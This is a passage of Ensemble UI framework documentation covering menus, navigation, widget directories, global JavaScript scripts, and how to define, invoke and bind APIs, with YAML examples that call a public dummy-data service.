name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | The thickness of the border | +| borderColor | integer or string | Color of the border, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| itemDisplay | string | How to render each navigation item. `stacked` `sideBySide` | +| itemPadding | integer or string | Padding for each navigation item with CSS-style value | +| minWidth | integer | The minimum width for the menu (default 200) | + +#### Example + +An example on how to use Sidebar menu. + +```yaml +View: + title: Sidebar menu + menu: + Sidebar: + items: + - label: Home + icon: home + page: Home + - label: Button + icon: input + page: Button + + Column: + styles: { gap: 16, padding: 24, scrollable: true } + children: + - Markdown: + text: | + This page includes menu displayed as Sidebar +``` + +##### Output + +

+Page Skeleton +

+ +> To get hands-on experience with Sidebar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/QZyoRkHHrHEAkGJMwoNU#) + +## Body + +The View requires a single widget defined as its child. This will act as the body content, and can only be a Column, Row, Flex, or Stack widget. + +## API + +API provides a convenient way to interact with external services or data sources, allowing developers to make HTTP requests, access data, and integrate various functionalities into their applications. + +#### Properties + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------------ | +| method | String | The HTTP method of the request, such as `GET`, `POST`, `DELETE`, `PUT`, `PATCH` | +| uri | String | The URI for the request | +| body | Object | The request body | +| headers | Object | The headers for the request | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | +| inputs | Array | The input values | + +> To learn about API's in detail, click [here](#invokeapi) + +## Global + +Global enables users to declare or define functions and variables which can be accessed globally inside the whole screen in every widget. In simple words its scope ig `global` just like a normal JavaScript `Global Execution Context` where users can access these functions anywhere in the screen. + +**Example** + +```yaml +View: + header: + title: "Code: Global functions" + styles: + scrollableView: true + Column: + styles: { gap: 16, padding: 24 } + children: + - TextInput: + id: secondsInput + label: Seconds + value: 28565 + - Button: + label: Convert to hours and minutes + onTap: + executeCode: + body: |- + //@code + results.text = convertSecondsToHours(secondsInput.value); + + - Text: + id: results + +Global: |- + + function convertSecondsToHours (s) { + + console.log(s); + } +``` + +**Output** + +The output can be checked in the logs for browser + +

+Page Skeleton +

+ +## Putting it together + +This example illustrates almost all the widgets which are integral part of ensemble page structure. It also demonstrates a comprehensive usage of BottomNavBar, onLoad action, API calls and custom widgets. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + inputs: + id: 32GelurbLbd6umj3ULOkAXYSYyq2 + + # Set the view to be scrollable + styles: + scrollableView: true +menu: + BottomNavBar: + styles: + shadowColor: 0xFFFD451C + items: + - icon: home + label: Home + page: Home + selected: true + - label: Favorite + icon: favorite + page: Favorite + - label: Promos + icon: loyalty + page: Promos + - label: Account + icon: account_circle + page: Profile + + # This is the parent widget for all screen content + body: + Column: + styles: + backgroundGradient: + colors: [ 0xFFF4D66C, 0xFFFEFAF3, 0xFFFFFFFF ] + start: topLeft + end: bottomRight + + children: + - UserInfo + - SearchBar + - Categories + - NearbyFood +``` + +#### Output + +

+Page Skeleton +

+ +> To get hands-on experience with a complete Application, check [Ensemble Studio](https://studio.ensembleui.com/app/iM58Wgr7bgzTxEi7rV40/screen/cYMnCfhOya8Vq1QG6aCC?propertyPanelEnabled=true&instantPreviewDisabled=false) + +--- + +# Layouts + +Ensemble layouts are themselves widgets that contain other widgets. Here is a comprehensive list of Layout widgets with their properties and usage examples in EnsembleUI. + +| Widget | Documentation | Kitchen sink example | +| ------------ | -------------- | ----------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | +| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | +| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | +| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | +| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | +| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | +| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | +| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | +| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | + +--- + +# Screen Navigation + +Ensemble provides two primary mechanism for navigating between screens: + +1. App menu, i.e. the nav bar, as [described here](#menu) +2. Navigation actions, which we will cover here. + +## The navigation stack + +The navigation stack keeps track of the screens as they are pushed and popped off the stack. + +For example, your app could have a home screen, that navigates to listing screen. From the listing user can navigate to a detail screen. When you navigate to a new screen, that screen is pushed onto the top of the stack. + + +![navigation stack](public/images/navigation/nav-navigation-stack.jpg) + +When you navigate back, the topmost screen is popped off the stack, and the previous screen becomes visible Navigation stack follows the Last In, First Out (LIFO) principle, meaning the last screen that was navigated to is the first one to be navigated away from when the user presses the back button. + +![navigation stack](public/images/navigation/nav-navigation-stack-pop.jpg) + +## Navigate Screen action + +[navigateScreen reference](#navigatescreen) + +Use `navigateScreen` action when navigating to a screen. This action will push the target screen on top of the current screen. You can pass inputs to the target screen when performing this action: + +```yaml +- Button: + label: View details + onTap: + navigateScreen: + name: ProductDetails + inputs: + productId: ${product.id} +``` + +![navigation stack](public/images/navigation/nav-navigateScreen.jpg) + + +Optionally, you can set `onNavigateBack` property to perform an action when user goes back to previous screen. + +```yaml +- Button: + label: View details + onTap: + navigateScreen: + name: ProductDetails + inputs: + productId: ${product.id} + onNavigateBack: + showToast: + message: You just returned from product detail screen. +``` + +In use cases where you do not want to allow user to go back to the previous screen, use `clearAllScreens: true` option. This essentially clears the navigation stack. + +```yaml +- Button: + label: SIGN IN + onTap: + invoteAPI: + name: authenticateUser + onResponse: + navigateScreen: + name: Home + options: + clearAllScreens: true +``` + +![navigation stack](public/images/navigation/nav-navigateBack-clearAllScreens.jpg) + + +## Navigate back action + +[navigateBack reference](#action-navigateback) + +Use `navigateBack` to pop the current screen and go the previous screen in the stack. This is the same action that would be preformed when user taps the built-in back button. + +![navigation stack](public/images/navigation/nav-navigateBack.jpg) + +--- + +# Widgets Directory + +Ensemble widgets enable you to build both simple and complex applications. + +### Data display + +| Widget | Documentation | Kitchen sink example | +| ---------------- | ------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Text | [Link](#text-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c87f8b09-58e2-4c2f-99a1-cbbe9e25e9a5) | +| Image | [Link](#image-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/7c7a3ffe-68ef-4e99-b9d1-4b5cee166233) | +| Icon | [Link](#icon-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) | +| Avatar | [Link](#avatar-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kJ9eqI5BPL30IwjnEDdJ) | +| Map | [Link](#map-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) | +| QRCode | [Link](#qr-code-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) | +| Video | [Link](#video-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) | +| Lottie animation | [Link](#lottie-animation-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) | +| Markdown | [Link](#markdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) | +| HTML | [Link](#html-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) | +| Webview | [Link](#webview-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) | + +### Layout + +| Widget | Documentation | Kitchen sink example | +| ------------- | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | +| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | +| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | +| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | +| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | +| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | +| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | +| Collapsible | [Link](/pages/widgets/collapsible.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yTFRepwpRQJbvRYaVpRi) | +| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | +| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | +| Shape | [Link](#shape-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Lg2nljyD46n2hiAUlBMP) | +| Slidable | [Link](#slidable-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hDUEQtsqHbuLoegWoyDR) | + +### Forms and inputs + +| Widget | Documentation | Kitchen sink example | +| --------------- | ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- | +| Form | [Link](#form-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3107baf6-dfc3-42cd-b617-61c37b31f31e) | +| TextInput | [Link](/pages/widgets/textinput.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | +| Button | [Link](#button-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) | +| Dropdown | [Link](#dropdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) | +| AutoComplete | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3tBTU9CUTu0IegpytNYa) | +| Checkbox | [Link](#checkbox-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) | +| Switch | [Link](#switch-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) | +| Date | [Link](#date-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) | +| DateRange | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/b45c5576-ec22-4b04-832f-6dd7571dd20f) | +| Time | [Link](#time-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yNHLPObY1wWgCpg0sgoW) | +| PasswordInput | [Link](#passwordinput-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) | +| Signature | [Link](#signature-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/70eb8a13-e7df-4778-b7e6-57df17b032a0) | +| WeeklyScheduler | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/244ce957-98ed-4db8-a5a7-ee587d6dfe0b) | + +### Conditional + +| Widget | Documentation | Kitchen sink example | +| ----------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Conditional | [link](#conditional-widget) | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XljPegGrdieyKjy16URC?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) | + +### Feedback + +| Widget | Documentation | Kitchen sink example | +| ------------------ | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Progress indicator | [Link](/pages/widgets/progressindicator.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) | +| Toast message | [Link](#showtoast) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9a576805-019a-4bd3-953f-3c623fbfb905) | + +--- + + +# Script with JavaScript + +Scripts can provide a powerful way to enhance your app's functionality and customize its behavior beyond what can be achieved with declarative configurations alone. + +## When to Use Scripts + +Global Scripts are ideal for situations where you need: + +- **Reusable Logic:** Define functions or variables that can be used across multiple screens or widgets in your app. For example, a function to format dates or calculate totals could be placed in a Global Script for easy access. +- **Data Storage:** Store pre-defined data like user details, color palettes, or API endpoints in a Global Script for consistent use throughout your app. This simplifies updates and avoids code duplication. +- **Custom Logic:** Scripts allow you to Implement complex logic, manipulate data, perform calculations, and interact with external services and APIs. + +## Create a Script +In Ensemble Studio, navigate to your app and select `Scripts` from the left menu. Click the button `Create new script` present at the top right corner of the studio. + +![add language](public/images/scripts/create-script.png) + +Now open the script file and you can use standard JavaScript syntax to define variables and functions and then save the file. + +![add language](public/images/scripts/Add-script-content.png) + +> Ensemble currently supports JavaScript syntax up to ES5. + +## Import the script +In the YAML code for your screen or widget, use the `Import` section to reference the script file. For example: +```yaml +Import: + - Common +``` +## Use the Script +The code example shows how to access variables and functions defined in the Global Script from your screen's YAML code. +```yaml +Import: + - Common + +View: + styles: + backgroundColor: ${colors.snowGrey} # Here we have used color imported from the Common Script. + header: + title: Global scripts + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Run function from Common + styles: + backgroundColor: ${colors.red} # Here we have used color imported from the Common Script. + onTap: + executeCode: + body: | + // Import the getUserFromScript function from the Common script + var thisUser = getUserFromScript(); + + // Now assigning text to the Fields + nameText.text = "Name: " + thisUser.name; + companyText.text = "Company: " + thisUser.company; + + - Column: + children: + - Text: + text: User Details + styles: + textStyle: + color: ${colors.green} + fontSize: 21 + fontWeight: bold + isItalic: true + - Text: # Display user's name + id: nameText + - Text: #  Display user's company + id: companyText +``` +**Explanation:** +1. Accessing Variables from the Script: + + The `backgroundColor` of the view is set using `${colors.snowGrey}`. This references the snowGrey variable defined in the colors object within the Common Script. +Similarly, the `backgroundColor` of the button is set using `${colors.red}`. +2. Accessing Functions from the Script: + + Clicking the button triggers the `onTap` event, which calls the `executeCode` block. Inside the block, the `getUserFromScript()` function (defined in Common Script) is called to retrieve user information. + + The returned data is stored in the `thisUser` variable. To display the user's name, the code constructs a string by combining `"Name: "` with the `name` property of the `thisUser` object. + +--- + + +# Interact with APIs + +The primary mechanism for an Ensemble app to interact with the backend is through APIs. + +The basic flow is: + +- [First, define the APIs you want to call](define-api) +- [Invoke API calls](call-api) on events such as onLoad or onTap +- [Access the API response](access-api-response) +- [Handle errors](api-on-error) + + + +Following capabilities are also available in Ensemble: + + +- [Bind APIs to a template to render a series of widgets](api-item-templates) +- [SSL Configuration](api-ssl-configuration) +- [Chaining API calls](chaining-apis) +- [Websocket](websocket) +- [GraphQL](graphql) + +--- + +# Define APIs + +You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. + +```yaml +API: + myFirstApi: # a new to refer to this API later + inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body + uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 + method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH + parameters: # set the parameters to be passed to the API + manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. + headers: # set headers such as authorization tokens + body: # set body, in JSON or YAML, to pass data to the API + onSuccess: # fire an action when the API returns a 2** + onError: # fire an action when the API returns a 4** + + # add more APIs as you need + mySecondApi: +``` + +## GET call without authentication + +For public APIs that do not require authentication, you typically need only the URI and the method. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + +## GET call with bearer token + +APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + headers: + Authorization: "Bearer <>" +``` + +## GET call with API key + +Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + parameters: + apiKey: "<>" +``` + +## POST call with data + +Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. + +```yaml +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: "${productTitle}" # example of a dynamic data that is set based on the inputs + source: MyApp # example of a static data that is always passed +``` + +--- + +# Invoking APIs, aka calling APIs + +Use `invokeAPI` action to call the APIs you defined. Here are the properties of invokeAPI: + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | +| cookies | array | A key-value map of cookies received from the API response when manageCookies is enabled | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + + +invokeAPI can be passed to any event, such as `onLoad`, `onTap`, `onPullToRefresh`, ... using EDL or code. + + +## invokeAPI from EDL + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + # screen body +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## invokeAPI from code (Javascript) + +```yaml +View: + onLoad: | + ensemble.invokeAPI("getUser"); + body: + # screen body +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## Pass inputs to the API (in EDL or in code) + +A common interaction is to pass user provided info from a form to an API. To achieve this, set API inputs by binding to form values. + +Using EDL, set `inputs` property of the `invokeAPI` action. + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: productName + label: Product Name + - Button: + label: Submit + onTap: + invokeAPI: + name: addProduct + inputs: + productTitle: ${productName.value} + +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: ${productTitle} +``` + + +Using code, pass `inputs` as an object. *Note* that you cannot pass `onResponse` and `onError` callbacks to `invokeAPI` in code. You can invoke an API in code and have the `onResponse` and `onError` defined on the API definition itself. + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: productName + label: Product Name + - Button: + label: Submit + onTap: | + ensemble.invokeAPI("addProduct", { + "productTitle": productName.value + }); + +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: ${productTitle} +``` + +--- + +# Access API response body and headers + +You can access an API response through: + +- **API name** set when defining the API +- **API ID** set when invoking the API + +When invoking the same API more than once, the API name will point to the last instance of the API request. If this is not the desired effect, use an ID instead. + + +## Basic GET example + +Here, we use the API name to access the response body. In EDL, expressions are wrapped in `${}` so that Ensemble runtime evaluates the expression. In this case, the expression is referencing the API response body. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + padding: 40 + children: + - Text: + text: ${getUser.body.firstName} +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## GET array of data and display using a template + +An API response could include an array of objects that the app displays using an `item-template`. Any widget that supports `children` property also supports `item-template`. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + padding: 40 + item-template: + data: ${getUser.body.users} + name: user + template: + Text: + text: ${user.firstName} +API: + getUser: + uri: https://dummyjson.com/users/ + method: GET +``` + + +## Using ID to access API response + +When invoking an API, optionally you can assign it an ID. Use this ID when you invoke the API multiple times to access each instance. Here are few examples: + +### 1. Invoking different APIs based on a condition + +The name of the API you invoke could be set based on an input so that you can add conditions on what API to call. In this scenari, you need to use an ID to refer to the API response. + +```yaml +View: + onLoad: + invokeAPI: + name: getMatches + + body: + Column: + item-template: + data: ${getMatchess.body} + name: m + template: + MatchInfo: + inputs: + id: ${m.id} + api: '${m.status == "Finished" ? "getPastMatchDetails" : "getUpcomingMatch"}' + +MatchInfo: + + # use the widget inputs to invoke relevant API and pass the required inputs to the API + inputs: + - id + - api + onLoad: + invokeAPI: + id: matchDetails # use this ID to bind to this API response + name: ${api} + inputs: + id: ${id} + body: + Text: + text: ${matchDetails.body.title} + +API: + + getMatchess: + uri: https://dummyjson.com/matches + method: GET + + getPastMatchDetails: + inputs: + - id + uri: https://dummyjson.com/match/histpry/${id} + method: GET + + getUpcomingMatch: + inputs: + - id + uri: https://dummyjson.com/match/info/${id} + method: GET + +``` + + +### 2. Invoking the same API multiple times + +In these scenarios, the API name, e.g. `${apiName.body...}`, will point to the last instance where that API was invoked. In contrast, the ID will ensure you are referring to the correct instance of the API response within your widget tree. + +Let's consider this scenario: + +1. The app fetches a list of people +2. For each person, the app makes a separate API call to get that person's company info + +```yaml +View: + onLoad: + invokeAPI: + name: getPeople + + body: + Column: + styles: + padding: 24 + children: + - GridView: + styles: + expanded: true + itemHeight: 50 + item-template: + data: ${getPeople.body.users} + name: p + template: + PersonCard: + inputs: + name: ${p.firstName} ${p.lasstName} + company: ${p.company.name} + +PersonCard: + inputs: + - name + - company + onLoad: + invokeAPI: + id: thisCompany # use this ID to refer to bind to this API response + name: getCompanyDetails + inputs: + company: ${company} + body: + Column: + children: + - Text: + text: ${name} + - Text: + text: ${thisCompany.body.name} + +API: + + getPeople: + uri: https://dummyjson.com/users/ + method: GET + + getCompanyDetails: + inputs: + - company + uri: https://dummyjson.com/companies/ + method: GET + parameters: + name: ${company} +``` + +--- + +# onError + +When making API calls, it's crucial to handle errors gracefully to provide a better user experience. When invoking an API, `onError` event is dispatched when the response is a not a success. + +```yaml +View: + body: + Column: + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + onResponse: | + apiStatus.text = 'Call was successful'; + onError: | + apiStatus.text = 'API returned an error'; + - Text: + id: apiStatus +``` + +--- + +# Binding APIs to Item Templates + +When developing user interfaces, it's common to display lists of items, and Ensemble simplifies this process by providing the item-template property. This property can be assigned to container widgets like GridView or Carousel and is particularly useful for binding API responses to data-driven UI elements. + +`item-template` takes the following properties: + +- `data`: This should point to an array of data. +- `name`: Set this to a value to reference in the `template`. +- `template`: This is where we define the widgets to render for each item. + +| Property | Type | Description | +| -------- | ------ | ------------------------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The data row widget to render for each item, it can be a custom widget as well. | + +```yaml +item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} +``` + +The `data` property of the item-template is bound to the results of the getPeople2 API call (${getPeople2.body.results}). +The `name` property is set to "item," serving as a reference to each item in the array. +The `template` property defines the structure of each item in the list. In this case, it's a Text widget displaying the first name of each person from the API response (${item.name.first}). + +This setup uses the API response from getPeople2 to dynamically generate a list of Text widgets, each displaying the first name of a person from the API response. + +--- + +# Mocking API responses to develop and test your app +A key to developing an app quickly is to build the user interface independently of the back-end. This allows the team building the UI to be unblocked and move fast while also providing actual API payloads to the back-end team to build. Another advantage of this approach is that app could be built quickly with mockdata and be demo'd to customers for feedback. +Ensemble provides a framework for mockng API responses that allow you to do that. You can mock all APIs or some and test with mockdata by simply setting a property. + +- To get hands-on experience with mock APIs, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/UmaRcuduyIZmvOfk9BJu) + +## 1. Setting/unsetting `useMockResponse` +Firstly, to use mock data in your app, it's important to update the global script of the screen, making sure that the API calls are directed to the mock data instead of the actual URL. +```javascript +Global: |- + 